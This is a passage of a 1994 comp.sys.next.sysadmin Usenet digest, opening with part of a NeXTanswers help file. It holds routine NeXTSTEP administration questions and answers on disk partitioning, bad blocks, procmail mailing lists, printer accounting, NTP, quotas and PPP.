Message/Partial specification
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO <your-address>
If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to NeXTanswers-request@NeXT.com.
Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: jcl@yonext.apl.washington.edu (James C. Luby)
Newsgroups: comp.sys.next.sysadmin
Subject: Can I delete all Intel references from the NextAnswers database?
Date: 29 Mar 1994 16:40:37 GMT
Organization: University of Washington
Distribution: na
Message-ID: <2n9lm5$hf2@news.u.washington.edu>
Keywords: NextAnswers, delete_Intel_information
I have a NeXT cube running OS3.2. Since I have no interest in running NextStep
on an Intel machine (at least in the near term) I would like to delete all
Intel specific information in the NextAnswers database. Does anyone know an
easy way of doing this?
Thanks!
Jim Luby
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson)
Newsgroups: comp.sys.next.sysadmin
Subject: Help setting up mailing lists
Date: 29 Mar 1994 19:19:56 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <2n9v0s$cm9@senator-bedfellow.MIT.EDU>
I am about ready to start an organization and I need some info on the best
way to manage incoming/outgoing information through email lists on a NEXTSTEP
machine. I want to set up a few mailing lists with the following function:
1. One email address is for people to contact who wish to receive an
automated response which includes an informational letter. I want the
computer to automatically send people an email when they send mail to
this address.
2. Another email address will be used to automatically join people to a
mailing list. When they send mail to this address, their names will
be added to a mailing list automatically.
3. I also want a way to organize incoming mail to two or three different
email aliases without setting up different accounts for each alias. In
other words I want all mail to funneled into my user account, but I want
it to be separated according to what alias people sent the mail to.
I am pretty sure NeXTMail doesn't handle the first two, but I am not sure about
number 3. What would be the best way for me to set up such a system on my
NS/Intel machine (hooked into internet via ethernet)?
Thank You,
Eric
From: croehrig@celegans.psych.ubc.ca (Chris Roehrig)
Newsgroups: comp.sys.next.sysadmin
Subject: Multiple UNIX partitions under NEXTSTEP/Intel (BuildDisk is brain-dead)
Date: 29 Mar 1994 19:56:32 GMT
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Message-ID: <2na15g$gti@cs.ubc.ca>
I want to build a disk with 2 UNIX partitions on my NEXTSTEP partition (in
order to be able to rdump my /Users partition) and I'm having problems
with a completely brain-damaged BuildDisk. Can BuildDisk correctly
handle partitioning drives with 512 byte sectors? It seems to assume I
have 1024 byte sectors and ends up creating a first partition of half the
size I request.
The details:
BuildDisk uses "disk -p partitionsize" to create two partitions by
specifying the size of the first. Because I have a DOS partition as well
as a NEXTSTEP partition (that is, fdisk-style partitions, not UNIX
partitions!), BuildDisk incorrectly reports the size available on the
NEXTSTEP partition (presumable because it gets it from the SCSI MODE
SENSE). This shouldn't matter, since "disk" is smart enough to know the
size of the NEXTSTEP partition and only takes the size of the first
partition as a parameter. So I should just be able to select the size of
my first partition and everything should work, right? However, it seems
to get screwed up with my sector size (which is 512 bytes instead of 1024)
and creates a partition of half the size that I ask. And there's not
enough "slider" to ask for double the size that I want (a 700MB partition
on a 1023 MB disk). I tried low-level reformatting my drive to 1024
bytes/sector (using sdformat), but then DOS gets screwed up. Aaargh!
I can use disk manually to create the partitions I want, but I don't know
how to install NEXTSTEP onto them. BuildDisk doesn't let you install onto
existing partitions. Can I simply copy all the files from my current
NEXTSTEP partition (on sd1) to my newly created sd0a, or do I need to
do something special for /dev files and /mach, etc? (Then I have to worry
about tunefs, too).
Has anyone figured out how to do this? I can't believe BuildDisk is
really so stupid as to not be able to figure out that my block size is 512
bytes (considering it seems to do a MODE SENSE).
I guess the next things to try are:
1) Write a disktab entry for my partitions (yuck) and hope BuildDisk/disk
will find and use it.
2) Figure out how tunefs works, and try copying everything from my
existing NEXTSTEP partition.
3) Use gdb to try to hack a one-time version of BuildDisk that doubles
the partition size before calling disk. :-P
Any hints/suggestions?
--
Chris Roehrig (croehrig@celegans.psych.ubc.ca)
Invertebrate Learning Group, University of British Columbia, Canada
From: mjbauer@ATHENA.MIT.EDU (Geek Without A Home)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Disk repair tools?
Date: 29 Mar 1994 20:03:31 GMT
Organization: Massachusetts Institute of Technology
Message-ID: <2na1ij$dom@senator-bedfellow.MIT.EDU>
References: <9403281834.AA26129@audiotst.ap.com>
In article <9403281834.AA26129@audiotst.ap.com> audiotst!Louis_Eagle@uunet.UU.NET writes:
>For the past few days retries for this block and one other have
>become more frequent. This morning was the first time the retry count
>got above 2 and the "Block in error" message was issued. A search
>through the NeXT docs provided only the suggestion of reformatting the
>drive. Sun, for example, provides a vaguely interactive utility for
>repairing bad blocks (which I believe will work on SCSI drives). Does
>NeXT have something similar?
[...]
> Target 1: MEDIA ERROR; block 32d80H retry 9
> sd0 (1,0): sense key:0x3 additional sense code:0x11
> SCSI Block in error = 208256; Partition a F.S. sector 103968
I am experiencing a similar problem to this; it started yesterday when
my Next (slab, running 3.0) kernel-panicked when I moved a window. I
get a different additional sense code (0x12), and, of course, a
different block and sector number. The machine has since
kernel-panicked on the same error over 20 times, twice while I was
trying to figure out what was wrong, and the remainder as I was
pulling files off the machine as best I could. It appears that I have
suddenly acquired a lot of bad blocks on a disk, essentially
overnight, and that the filesystem is incapable of dealing with them.
In groveling for a disk utility, I found one named "disk", which would
seem to be a good start. However, the commands that I would seem to
want to use ("read" and "verify") are poorly documented. I would try
them, except that the group of commands that they are in on the man
page all come with the warning that any of them may destroy disk data.
Does anyone have experience with running "disk" by hand, and, in
particular, using the commands "read" and "verify"?
Any help is welcome; I'd like to get the most recent versions of
several files off the drive before I try to reformat and reinstall it.
I've already rescued the most important files; others would be nice,
but I'm willing to lose the modifications to them to get my machine
working again.
Thanks in advance
MJB
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From: bick@eisner.decus.org (Dan Bick)
Newsgroups: comp.sys.next.sysadmin
Subject: adding odd printer
Message-ID: <29MAR199415323217@eisner.decus.org>
Date: 29 Mar 94 20:32:00 GMT
Organization: DECUServe
News-Software: VAX/VMS VNEWS 1.4-b1
I am attempting to add an Epson LQ-850 printer to my NeXTStation
which is a 68040 running 3.2 os/developer.
I defined it in printmanager as unknown, as there are no PPD
files for it. However the netinfo entries for the printer
show it as commclass NXSerialPSComm.
Does anyone have any experience with attaching a dumb, non
postscript printer? Are default netinfo printer entries, for
a selection of unknown printer correct?
I have the etc/ttys file set as:
ttya none on
If I add the 3rd field in ttys for device (e.g. vt100) what
would it be in this case. I don't find any printers in /etc/termcap.
Currently lpc show 6 entries queued and in printing status, but
no output.
Thanks for any ideas..
regards, Dan
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help setting up mailing lists
Date: 29 Mar 1994 22:29:57 +0100
Organization: me organised, that's a joke.
Message-ID: <2na6kl$1r3@steffi.demon.co.uk>
References: <2n9v0s$cm9@senator-bedfellow.mit.edu>
zmonster@ATHENA.MIT.EDU (Eric M Hermanson) wrote in comp.sys.next.sysadmin
>I am about ready to start an organization and I need some info on the best
>way to manage incoming/outgoing information through email lists on a NEXTSTEP
>machine. I want to set up a few mailing lists with the following function:
>
>1. One email address is for people to contact who wish to receive an
> automated response which includes an informational letter. I want the
> computer to automatically send people an email when they send mail to
> this address.
Procmail.
>
>2. Another email address will be used to automatically join people to a
> mailing list. When they send mail to this address, their names will
> be added to a mailing list automatically.
Procmail mailing list software. Separate in Procmail Pre11.
>
>3. I also want a way to organize incoming mail to two or three different
> email aliases without setting up different accounts for each alias. In
> other words I want all mail to funneled into my user account, but I want
> it to be separated according to what alias people sent the mail to.
Simple with procmail.
I'd suggest that you go and grab Carl Edmans Mailapp utilities and
procmail from
This program is part of the procmail mail-processing-package
(v2.92pre11 1994/02/22) available at your nearest USENET
comp.sources.misc archive, or at ftp.informatik.rwth-
aachen.de (137.226.112.172) as
pub/packages/procmail/procmail.tar.zip. There exists a
mailinglist for questions relating to any program in the
procmail package:
>
>I am pretty sure NeXTMail doesn't handle the first two, but I am not sure about
>number 3. What would be the best way for me to set up such a system on my
>NS/Intel machine (hooked into internet via ethernet)?
Put it this way. Don't use anything else besides procmail for this
job.
The only package that is suited to both filtering and mailing list is
Procmail.
You'll need to grab the mailinglist software too from that site.
Don't give up once procmail is running it's very very very useful.
>
>Thank You,
>Eric
>
--
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From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Disk repair tools?
Date: 29 Mar 1994 22:41:51 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2naarf$pah@agate.berkeley.edu>
References: <2na1ij$dom@senator-bedfellow.MIT.EDU>
In article <2na1ij$dom@senator-bedfellow.MIT.EDU> mjbauer@ATHENA.MIT.EDU (Geek Without A Home)
writes:
>In article <9403281834.AA26129@audiotst.ap.com> audiotst!Louis_Eagle@uunet.UU.NET writes:
>>For the past few days retries for this block and one other have
>>become more frequent. This morning was the first time the retry count
>>got above 2 and the "Block in error" message was issued.
>[...]
>> Target 1: MEDIA ERROR; block 32d80H retry 9
>> sd0 (1,0): sense key:0x3 additional sense code:0x11
>> SCSI Block in error = 208256; Partition a F.S. sector 103968
>
>I am experiencing a similar problem to this; it started yesterday when
>my Next (slab, running 3.0) kernel-panicked when I moved a window.
> [..]
>In groveling for a disk utility, I found one named "disk", which would
>seem to be a good start. However, the commands that I would seem to
>want to use ("read" and "verify") are poorly documented. I would try
>them, except that the group of commands that they are in on the man
>page all come with the warning that any of them may destroy disk data.
>
>Does anyone have experience with running "disk" by hand, and, in
>particular, using the commands "read" and "verify"?
I don't believe /usr/etc/disk command's "read" and "verify" can do
anything for you when the disk is apparantly having hard errors such
as media errors and other general read/write failures. These will
just confirm what you already know: you can't read and/or write data
to specific blocks.
Best attempt to do is to salvage whatever you can and do a
low-level format of the whole unit using "sdformat" avaialble from
the archives (I believe it's in /pub/next/binaries/utilities on
cs.orst.edu.).
If you want to try a less drastic approach first, you might try
"reasb" from ftp.next.com:/pub/Old_FTP_Files/Misc/Utilities/reasb/
directory. This is pretty minimal software as something that
tries to reassign bad blocks with a good one. I think we heard
some reports here that this doesn't work all that well.
My recommendation is to do a low-level format and do a complete
reinstall. If any bad spot reappears soon after, it may be time
to replace a drive. Many drives now offer 5-year warranty for
free, so you might just ask for a replacement if you have one
of those.
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Telephone: (510) 642-6440 Fax: (510) 642-3323
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From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT/Postscript/MS-Windows Question
Date: 29 Mar 1994 17:16:41 +0100
Organization: Palumbian Research Labs
Message-ID: <2n9k99$1rs@marsu.tynet.sub.org>
References: <2n48d1$sip@senator-bedfellow.MIT.EDU> <1994Mar28.020942.15835@merlin.hgc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Keywords: Postscript,MS-Windows
wils4198@hgc.edu (George H. Wilson) writes:
>Problem:
> As far as the NeXT is concerned, the documents have no paging information
>in them. Preview gives the error message "The pages of the document are not
> properly declared...," so I cannot print single pages from the file - which I
>often want to do when there is a paper jam or whatever. I'm not sure why they
>print out OK, it may be just because I run off the page - if I were to try
>different paper sizes I bet it would not work correctly. AND I WILL want to
>use different paper sizes soon.
Possible solutions:
- Have you marked the checkbox "Use Adobe document structuring
convention (DSC)" in one the config panels of the Windows driver?
This could be useful.
- Purchase Tailor.app if you can afford. Eats up almost any kind of
Windows PS and rewrites it in good NeXT-like style. BTW, you can even edit
your PS code... not only the paper size :-)
- A friend told me that Adobe released their own PS driver for Windows as
a replacement for the existing ones. Fully Level II compatibel, price
about $25. Maybe you should try this driver.
Hope that helps,
Markus.
(I had a lot of bad experience with PS from Windows *sigh*).
--
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mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Veni, vidi, NeXTSTEPi.
From: jenkinsonjp@rcwusr.bp.com (John P. Jenkinson)
Newsgroups: comp.sys.next.sysadmin
Subject: Help with CubeX preference change
Message-ID: <1994Mar29.200220.684@rcwusr>
Date: 29 Mar 94 20:02:19 -0600
Organization: BP Exploration (Alaska)
we've a few NeXTs. these running CubeX. a new user got one. in attempting
to change the visual in the preferences menu we get "permission denied"
i've looked at every file on that system and in her directory and can
not determine wher this might be coming from.
so
when changing the preferences in CubeX, what files are modified?
----------------------------
John Jenkinson
BP Exploration (Alaska)
jenkinson@sapc1.dnet.bp.com
Newsgroups: comp.sys.next.sysadmin
From: IRUSSIAN@FLINT.MINES.COLORADO.EDU (Ira Russianoff)
Subject: Next printer/Number of pages printed
Sender: news@slate.mines.colorado.edu
Message-ID: <1994Mar29.233937.30536@slate.mines.colorado.edu>
Date: Tue, 29 Mar 1994 23:39:37 GMT
Organization: Colorado School of Mines-Computing Center
I'm looking for a way to keep an informal record of the number
of pages printed by a next printer. The printer remotely serves
about 10 nextstations. You can print to this printer from any
one of the nodes.
How would one accomplish this?
Thanks
P.S. Please email me as I don't normally read this newsgroup.
irussian@mines.colorado.edu
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Newsgroups: comp.sys.next.sysadmin
From: andy@godel (Andrew Burday)
Subject: Disabling volume keys on black NeXTs
Message-ID: <1994Mar29.232153.12592@sifon.cc.mcgill.ca>
Sender: news@sifon.cc.mcgill.ca
Organization: McGill University
Date: Tue, 29 Mar 1994 23:21:53 GMT
Does anyone know how to disable the volume keys on the keyboard of a
NeXT computer? I mean, reversibly and non-destructively disable them
-- I've been tempted to fetch a hammer once or twice, but I think this
would make me unpopular with my department, which owns the machine.
The machine in question is in a public place, and is used by multiple
users. Some of them have developed the obnoxious habit of turning the
volume all the way down and leaving it like that when they log off.
I've used MOTD.app to explain how to set preferences with
Preferences.app, and request that they do so. In fact, I've used
MOTD.app SEVERAL TIMES to post such messages. My users are approximately
as responsive as tree stumps. I am sick of hitting the goddamn volume
key every time I log on. Pretty soon, I'm going to start hitting my
users instead. Oh, ok, I could learn to live with this, but I don't
want to. If anyone knows a way to just disable those keys, I would
be grateful for it.
Thanks for your help (and patience ;*> ),
Andrew Burday
Aspiring Philosopher and Frustrated Sysadmin
andy@philo.mcgill.ca
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: Re: Warning: Too few i-nodes allocated for multi GB drives
Date: 30 Mar 1994 01:08:28 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2najec$s39@agate.berkeley.edu>
References: <1994Mar29.205755.2282@nidat.sub.org>
In article <1994Mar29.205755.2282@nidat.sub.org> Nitezki@NiDat.sub.org (Peter Nitezki) writes:
>In article <2mtkt8$s1e@agate.berkeley.edu> izumi@pinoko.berkeley.edu
>(Izumi Ohzawa) writes:
>> Attention: Those with >=2GB drives,
>>
>> You might want to check how many i-nodes you have for drives newly
>> partitioned and initialized. My initial try with DEC DSP5200S
>> (2GB) only allocated one i-node per 22kb.
>> ...
>> Did someone break mkfs or newfs in the recent NS releases?
>
>
>Well, I don't know whether someone broke mkfs, but I'm quite sure he did
>it long time ago (at least long before NS :-)
> ...
>When it was first devised the mention of 2GB disks
>would have qualified everyone as a loony, believe me!
Perhaps so, but things did work not so long ago with 1GB drive/partition
(Fujitsu M2266S), and our new 2GB drive (DEC 5200S) is divided into two
1GB partitions each of which is smaller than the 1-partition Fujitsu.
I got a tip from someone that 'newfs' indeed became broken with
Release 3.1 and did not get fixed for 3.2, and that I might try
the binary from release 3.0.
I intend to that sometime, when I can't find anything better to do.
Thanks NeXT for keeping this type of info from the eyes of lowey
users who are not about to call Tech Support to get humiliated.
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Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: bamberg@eecs.wsu.edu (Roberto Bamberger - Faculty)
Subject: quotas
Message-ID: <1994Mar30.011736.14845@serval.net.wsu.edu>
Sender: news@serval.net.wsu.edu (USENET News System)
Organization: Washington State University
Date: Wed, 30 Mar 94 01:17:36 GMT
Has anyone found a way to get disk quotas on a NeXT?
If I am just missing something, I hope that someone will let me know.
Please email responses and I will post a summary.
BTW, NS3.2 on black hardware.
--
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FAX:(509)-335-3818
School of Electrical Engineering and Computer Science
Washington State University
Pullman, WA 99164-2752
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to set up NTP using a non-NeXT master server?
Date: 30 Mar 1994 03:18:22 GMT
Organization: San Francisco State University
Message-ID: <2nar1u$7m9@nic-nac.CSU.net>
References: <2n9tnr$gb8@cs.ubc.ca>
In article <2n9tnr$gb8@cs.ubc.ca> croehrig@celegans.psych.ubc.ca
(Chris Roehrig) writes:
>My netinfo looks like:
> celegans[44]% nidump -r /locations/ntp .
> name = ntp;
> host = ();
> server = hub.ubc.ca;
>Has anyone gotten NeXT's ntpd to work with a single NeXT in a non-NeXT
>environment?
In your case you want to set host to hub.ubc.ca and leave server
empty. Kill ntpd; set the time with ntp -F; restart ntpd; wait
ten minutes; use ntpdc localhost to verify synchronization.
-=EPS=-
From: pmarc@allanon.math.byu.edu (Paul Cardon)
Newsgroups: comp.sys.next.sysadmin
Subject: GNU Finger - 1.37
Date: 30 Mar 1994 05:30:23 GMT
Organization: Brigham Young University
Message-ID: <2nb2pf$69p@hamblin.math.byu.edu>
Has anybody installed GNU Finger - 1.37 on a network with both Motorola
and Intel machines? The configuration checks for byte ordering so I'm
concerned that there may be a problem with the status files shared by the
different machines. I don't have time to mess with this right now but
would like to install it eventually.
Paul M. Cardon
From: pmarc@allanon.math.byu.edu (Paul Cardon)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Next printer/Number of pages printed
Date: 30 Mar 1994 06:24:44 GMT
Organization: Brigham Young University
Message-ID: <2nb5vc$757@hamblin.math.byu.edu>
References: <1994Mar29.233937.30536@slate.mines.colorado.edu>
In article <1994Mar29.233937.30536@slate.mines.colorado.edu>
IRUSSIAN@FLINT.MINES.COLORADO.EDU (Ira Russianoff) writes:
> I'm looking for a way to keep an informal record of the number
> of pages printed by a next printer. The printer remotely serves
> about 10 nextstations. You can print to this printer from any
> one of the nodes.
>
> How would one accomplish this?
This isn't very hard if you're familiar with netinfo. Start up NetInfo
Manager and open the domain containing the entry for the printer.
Double-click on the printer name to open up that record. You will see a
bunch of properties such as name, lf, sf, sb, lp, and so forth. All you
need to do is add a property called af with the value being the absolute
path of the accounting file. Make sure that this file is in a directory
which is accessible to all of your machines. I have it in /usr/local/adm/
which is NFS mounted on every one of our machines. If you want to add a
price per page to the accounting record, you just add the property pc with
the value in hundredths of cents. (500 = $0.05)
To see all of the possible properties including the two above, read the
man page for printcap. Now you will want to read the man page for pac
which is the program you use to read the accounting file. It provides
several options for sorting and filtering the data. The executable is
/usr/etc/pac which probably isn't in your path so you will have to create
an alias or add that path to your shell environment.
It takes very little time to set up and is very easy to use.
Hope this helps. If you have further questions don't hesitate to e-mail
me.
Later,
Paul M. Cardon
NeXTSTEP and HP System Manager
Math Dept. - Brigham Young University
DOS - The Ultimate Blivet
From: chris@drachme.unice.fr (Taggiasco Christian)
Newsgroups: comp.sys.next.sysadmin
Subject: How to fset users quotas with NS
Date: 30 Mar 1994 09:24:41 GMT
Organization: University of Nice Sophia-Antipolis
Message-ID: <2nbggp$gf1@taloa.unice.fr>
Keywords: quotas
I've a network probleme. On the server (a Next Cube), there are a
lot of users accounts, and some of them are very big (+ 30 Mb). Does
someone know how to limit, how to make quotas with NeXT Step and Net Info
?
(sorry for my bad english)
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chris@doublon.unice.fr
or
roots@doublon.unice.fr
INLN / universite de Nice (France).
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From: bailey@casbah.acns.nwu.edu (William Leeke)
Newsgroups: comp.sys.next.sysadmin
Subject: funky init
Date: 30 Mar 1994 10:04:18 GMT
Organization: Northwestern University, Evanston IL USA
Message-ID: <2nbir2$609@news.acns.nwu.edu>
Configuration: 8/105 w/ 1 gig external 040
Ive noticed some poor performance but until now I chalked it up to RAM or
lack there of, but now Im not so sure. It seems as though there is something
wrong with init or its being asked to do too much by some other rogue
element.
Any clues ?
USER PID %CPU %MEM VSIZE RSIZE TT STAT TIME COMMAND
root 1 80.7 1.0 1.51M 80K ? R 736:13 /usr/etc/init -xx
root 28422 2.0 2.5 1.52M 208K p1 S 0:00 grep init
root 2 0.0 1.6 1.45M 128K co S 5:43 (mach_init)
--
"Art is not a mirror,
Art is a hammer!"
bailey@casbah.acns.nwu.edu
From: jmack@skye.phys.ualberta.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT/Postscript/MS-Windows Question
Date: 30 Mar 1994 04:50:20 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2nb0ec$9km@quartz.ucs.ualberta.ca>
References: <1994Mar28.020942.15835@merlin.hgc.edu>
In article <1994Mar28.020942.15835@merlin.hgc.edu> wils4198@hgc.edu (George H.
Wilson) writes:
> I'm not sure what Newsgroup would be most able to answer this question...
> Please feel free to tell me where to post!
>
> Situation:
> I have a NeXT Cube running v3.0 with a NeXT Laser printer attached to
> a Novell 3.11 Network. Also on this network are PC's running MS-Windows
> v3.1. I have the PC's setup to use MS-Windows generic Windows Postscript
> Driver Version 3.57 (By Microsoft and Aldus). I then send all printing to a
> file on a network drive and have the NeXT pickit up and print it. The
> documents print out fine.
>
> Problem:
> As far as the NeXT is concerned, the documents have no paging information
> in them. Preview gives the error message "The pages of the document are not
> properly declared...," so I cannot print single pages from the file - which
I
> often want to do when there is a paper jam or whatever. I'm not sure why
they
> print out OK, it may be just because I run off the page - if I were to try
> different paper sizes I bet it would not work correctly. AND I WILL want to
> use different paper sizes soon.
>
> Does anyone have any information on what I can do to remedy this problem?
> Thanks in advance.
<flame on>
Windows, in all of it's infinite stupid wisdom, puts a ^D (Ctrl-D) at the
beginning of each Postscript file, rendering it immediately non-postscript
compliant. Really dumb thing to do, but it likely 'conforms' to something in
it's own native print symbiont. Just incredulous!
<flame off>
The Postscript print driver looks at the first few characters of the file,
and it the first few aren't exactly '%!PS' it will barf (any PS printer will
barf on this too).
You just have to edit out the first character (manually, or via a script
filter). Just a royal pain. DOS is dead, IMHO.
--
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From: js@euler.hnv.icem.de(Juergen Sell)
Subject: How to make services of FAT binaries work under NS3.0
Message-ID: <CnFL3A.tC@euler.hnv.icem.de>
Keywords: service,NS3.0, fat
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
Date: Tue, 29 Mar 1994 14:47:33 GMT
Hi,
some fat Apps got problems providing their services under NS3.0 (for higher versions I don't know
for obvious reason).
Don't know if this is well known, anyway here is a workaround I found to do the trick with
TeXMenu4.1
Workaround :
Grab the services file from within the app-wrapper and copy it to
~/Library/Services/<app.basename>.Service
Select the file and do a Command-u (update viewers) in the Workspace.
Maybe have to execute a 'make_services' from within a terminal window as well.
Maybe restart the app accepting the service (Edit in my case).
Logout/Login will surely do.
See also Concepts/Services for further info.
Hope this helps,
Juergen
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== The revolution will not be posted - Juergen 1994 ==
From: dl@apysoft.oleane.com (Denis Laffont)
Newsgroups: comp.sys.next.sysadmin
Subject: PPP or SLIP on NS 3.2
Date: 30 Mar 1994 13:53:38 GMT
Organization: OleANe Ceane Networks
Message-ID: <2nc092$gq4@relay2.oleane.net>
Are PPP or SLIP bundled with NS 3.2 ?
Are they supposed to be released in 3.3 ?
Thanks in advance,
Denis
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dl@apysoft.oleane.com 35 Boulevard de la Liberation
Tel:(33-1)43.28.52.52/ 94300 Vincennes-France
Newsgroups: comp.sys.next.sysadmin
From: richarda@dcs.qmw.ac.uk (Achmatowicz)
Subject: Deering IP Multicast port to NS/I
Message-ID: <CnFn97.DoJ@dcs.qmw.ac.uk>
Sender: usenet@dcs.qmw.ac.uk (Usenet News System)
Organization: Computer Science Dept, QMW, University of London, UK.
Date: Tue, 29 Mar 1994 15:34:19 GMT
Dear All
Is there anyone out these who has ported or is trying to port
Deering IP Multicast to NeXTStep for Intel?
Installing IP multicast from
parcftp.xerox.com:/pub/net-research/ipmulti...
requires the ability to rebuild the kernel. Is there any
way to get kernel sources for NS/I?
Any information would be appreciated.
--
Richard Achmatowicz Internet: richarda@dcs.qmw.ac.uk
Dept. of Computer Science Telephone: +44 71-975 5244
Queen Mary and Westfield College Fax: +44 81-980 6533
University of London
Mile End Road
London E1 4NS
United Kingdom
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: PPP or SLIP on NS 3.2
Date: 30 Mar 1994 16:54:15 +0100
Organization: me organised, that's a joke.
Message-ID: <2nc7b7$9i5@steffi.demon.co.uk>
References: <2nc092$gq4@relay2.oleane.net>
dl@apysoft.oleane.com (Denis Laffont) wrote in comp.sys.next.sysadmin
>
>Are PPP or SLIP bundled with NS 3.2 ?
No not bundled. Free implementations exist though.
I'm using PNI on Black though.
>
>Are they supposed to be released in 3.3 ?
Don't think so. No real need to be. Although PNI will probabaly be
the most attractive solution.
>
>Thanks in advance,
>
>Denis
>
>--
>Denis Lafont Oleane, French Internet Provider
>dl@apysoft.oleane.com 35 Boulevard de la Liberation
>Tel:(33-1)43.28.52.52/ 94300 Vincennes-France
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From: martin@initiera.upnet.se (Martin Wennerberg)
Subject: How to copy NEXTSTEP boot floppy?
Message-ID: <1994Mar30.164108.21642@sics.se>
Keywords: floppy install boot copy
Sender: news@sics.se
Organization: Swedish Institute of Computer Science, Kista
Date: Wed, 30 Mar 1994 16:41:08 GMT
How can I create an exact copy of the NEXTSTEP for Intel 3.2
install floppy?
Thanks for any help on this subject...
/Martin
From: dcl@panix.com (David Lambert)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.dcom.modems
Subject: BOCA Modem with NeXTStep 3.2 for Intel?
Date: 30 Mar 1994 11:51:48 -0500
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <2ncan4$qdk@panix.com>
Hi.
I am having some problems with this configuration, and since
the docs are useless, I was wondering if anybody had been
using this modem successfully with NS3.2/Intel and would be
willing to help me out a little (in return for my undying
gratitude...)
I'm especially interested in people who are using it for UUCP.
(email responses preferred...summary will be posted...)
David Lambert
dcl@panix.com
From: rimon@spectre.sas.upenn.edu (Rimon E. Huque)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.dcom.modems
Subject: RISC usage in ND card
Date: 30 Mar 1994 17:01:49 GMT
Organization: University of Pennsylvania
Message-ID: <2ncb9t$kus@netnews.upenn.edu>
References: <2ncan4$qdk@panix.com>
Could anyone enlighten me with the role played by the Intel i860 RISC
chip in the NeXT Dimension? Isn't Display Postcript run by 68040?
Why is the color graphics speed in NeXTDimension equipped workstations
so much slower, even while RISC equipped? What does the chip actually
do? I'm sure it does more than compression/decompression: what else?
What are the SPECint92, SPECfp92, MIPS, Bus Width, Clock speed numbers
of the chip, and how does this compare to other RISC chips?
Rimon Huque
From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to copy NEXTSTEP boot floppy?
Date: 30 Mar 1994 17:28:04 GMT
Organization: University of Houston
Message-ID: <2nccr4$ff8@masala.cc.uh.edu>
References: <1994Mar30.164108.21642@sics.se>
In article <1994Mar30.164108.21642@sics.se> martin@initiera.upnet.se (Martin
Wennerberg) writes:
#How can I create an exact copy of the NEXTSTEP for Intel 3.2
#install floppy?
#
#Thanks for any help on this subject...
#
#/Martin
If you have access to a Mac, there is this great shareware program called
DiskDup+ and it will basically copy most any disk. We use it all the time
to duplicate our NS disks for archive purposes. However, it does a sector
copy so it will not sucessfully copy copy-protected disks.
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin
From: jalegre@lenti.med.umn.edu (John Alegre)
Subject: PPP on NeXT.
Message-ID: <CnHoDI.B44@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota
Date: Wed, 30 Mar 1994 17:55:33 GMT
We are trying to set up a PPP connection on NeXT O.S. 3.2. We
have never done this before and do not know where to start.
We need something that is fairly easy to configure.
We have heard about a package that runs on Sun called dp.
This is supposed to be fairly easy to configure.
Is there a version of dp for NeXT?
Is there an alternative package?
The machine we wish to PPP to is a Sun running SunOS 4.1.x.
Thank you
John N. Alegre
Andante Systems
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From: yanik@planon.qc.ca (Yanik Crepeau)
Subject: Re: BLACK: zs: recv buffer overrun at 38.4k. Why?
Message-ID: <1994Mar30.181602.28328@planon.qc.ca>
Sender: yanik@planon.qc.ca (Yanik Crepeau)
